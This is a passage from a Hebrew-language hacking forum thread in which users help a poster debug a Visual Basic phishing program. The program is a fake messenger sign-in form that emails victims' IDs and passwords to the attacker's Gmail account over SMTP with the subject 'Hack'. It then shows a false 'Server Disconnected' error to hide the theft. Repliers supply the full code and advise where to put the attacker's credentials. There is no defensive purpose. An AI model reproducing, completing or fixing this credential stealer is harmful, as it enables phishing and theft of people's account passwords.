בעיה| בניתי פישינג אם VB ועכשיו יש לי בעיה... - עמוד 2

[toorbo]

איך אני אדע תסיסמה שלו יש שם בהכל את הGMAIL שלי ובמישתמש וסיסמא יש את הגמייל והסיסמא שלי מה אל טוב בזה?

[.EffecT]

איך אני אדע תסיסמה שלו יש שם בהכל את הGMAIL שלי ובמישתמש וסיסמא יש את הגמייל והסיסמא שלי מה אל טוב בזה?

תשים את שלך לא את שלו

[toorbo]

זה מה שעשיתי...

זה הקוד: If TextBox1.Text = "" Then
MsgBox("You must enter an ID and password", MsgBoxStyle.Exclamation, "Sign-In Problem")
If TextBox1.Text = "" Then
MsgBox("You must enter an ID and password", MsgBoxStyle.Exclamation, "Sign-In Problem")
Else
End If
End If
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("your gmail ID@gmail.com", "your gmail password")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("In which mail address you want the cracked password to be sent")
mail.From = New MailAddress("your gmail ID@gmail.com")
mail.Subject = "Hack"
mail.Body = "ID : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
Try
SmtpServer.Send(mail)
MsgBox("Server Disconnected! Uninstall your messenger and reinstall it and then try again", MsgBoxStyle.Critical, "Disconnected")
Me.Close()
Catch ex As Exception
MsgBox("An Error Has Occured... Coudn't sign in", MsgBoxStyle.Exclamation, "Error Please Retry")
End Try

אתה יכול להגיד מה צריך להשים שיהיה לכל מיקרה?

[.EffecT]

זה מה שעשיתי...

תנסה לשים את הקוד שוב ולעשות הכל מהתחלה

[toorbo]

עשיתי הכל מיליון פעם אחייי עזרהה!! עשיתי אפילו עכשיו ולא לא שולח לי לאמיילל זה משגעע אותי

[.EffecT]

לא עשית טוב תלמד VB

[toorbo]

וואי עשיתי הכל טוב מה אתה משגע אותי?? ללמוד VB בכלל לא צריך בשביל זה יש מדריך ביוטיוב אחד לאחד מה לעשות שלב אחרי שלב זה משהו אצלי לא יודע

מישהו באמת יכול לעוזר לי?

[toorbo]

אפצ'י

וואו כמה אני מתעטש

[Zer0Day]

If TextBox1.Text = "" Then
MsgBox("You must enter an ID and password", MsgBoxStyle.Exclamation, "Sign-In Problem")
If TextBox1.Text = "" Then
MsgBox("You must enter an ID and password", MsgBoxStyle.Exclamation, "Sign-In Problem")
Else
End If
End If
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("_username_", "_password_")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("In which mail address you want the cracked password to be sent")
mail.From = New MailAddress("_username_")
mail.Subject = "Hack"
mail.Body = "ID : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
Try
SmtpServer.Send(mail)
MsgBox("Server Disconnected! Uninstall your messenger and reinstall it and then try again", MsgBoxStyle.Critical, "Disconnected")
Me.Close()
Catch ex As Exception
MsgBox("An Error Has Occured... Coudn't sign in", MsgBoxStyle.Exclamation, "Error Please Retry")
End Try 

איפה שכתוב _username_ שים את הכתובת של הג'ימל שלך ואיפה שכתוב _password_ שים את הסיסמא שלך

[toorbo]

^ טוב תודה אני ינסה

ובזה ? mail.To.Add("In which mail address you want the cracked password to be sent")

[Zer0Day]

^ טוב תודה אני ינסה

ובזה ? mail.To.Add("In which mail address you want the cracked password to be sent")

כלום.

[toorbo]

Imports System.Net.Mail
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("You must enter an ID and password", MsgBoxStyle.Exclamation, "Sign-In Problem")
If TextBox1.Text = "" Then
MsgBox("You must enter an ID and password", MsgBoxStyle.Exclamation, "Sign-In Problem")
Else
End If
End If
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("rasti49@gmail.com", "my email pass")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("rasti49@gmail.com")
mail.From = New MailAddress("rasti49@gmail.com")
mail.Subject = "Hack"
mail.Body = "ID : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
Try
SmtpServer.Send(mail)
MsgBox("Server Disconnected! Uninstall your messenger and reinstall it and then try again", MsgBoxStyle.Critical, "Disconnected")
Me.Close()
Catch ex As Exception
MsgBox("An Error Has Occured... Coudn't sign in", MsgBoxStyle.Exclamation, "Error Please Retry")
End Try
End Sub
End Class

זהו ככה בדיקות זה אצלי וזה לא מצליח למה? איפה שכתוב MY EMAIL PASS אני כתבתי את זה שלא תיראו את הסיסמא

מה הבעיה למה זה לא שולח?

אחי איפו שאמרתה לא לכתוב כלום אם אני מפעיל את הוכנה זה כותב לי שיש בעיה ואני צריך ליכתוב שם וכשכתבתי את האמייל זה עבד אבל עדיין יש תבעיה אם הארור הזה האדום + זה לא שולח למה?

[Zer0Day]

מה הפלט שזה נותן לך?

[toorbo]

מה זאת אומרת פלט?

[Zer0Day]

מה זאת אומרת פלט?

כאילו אחרי שאתה לוחץ מה אתה רואה?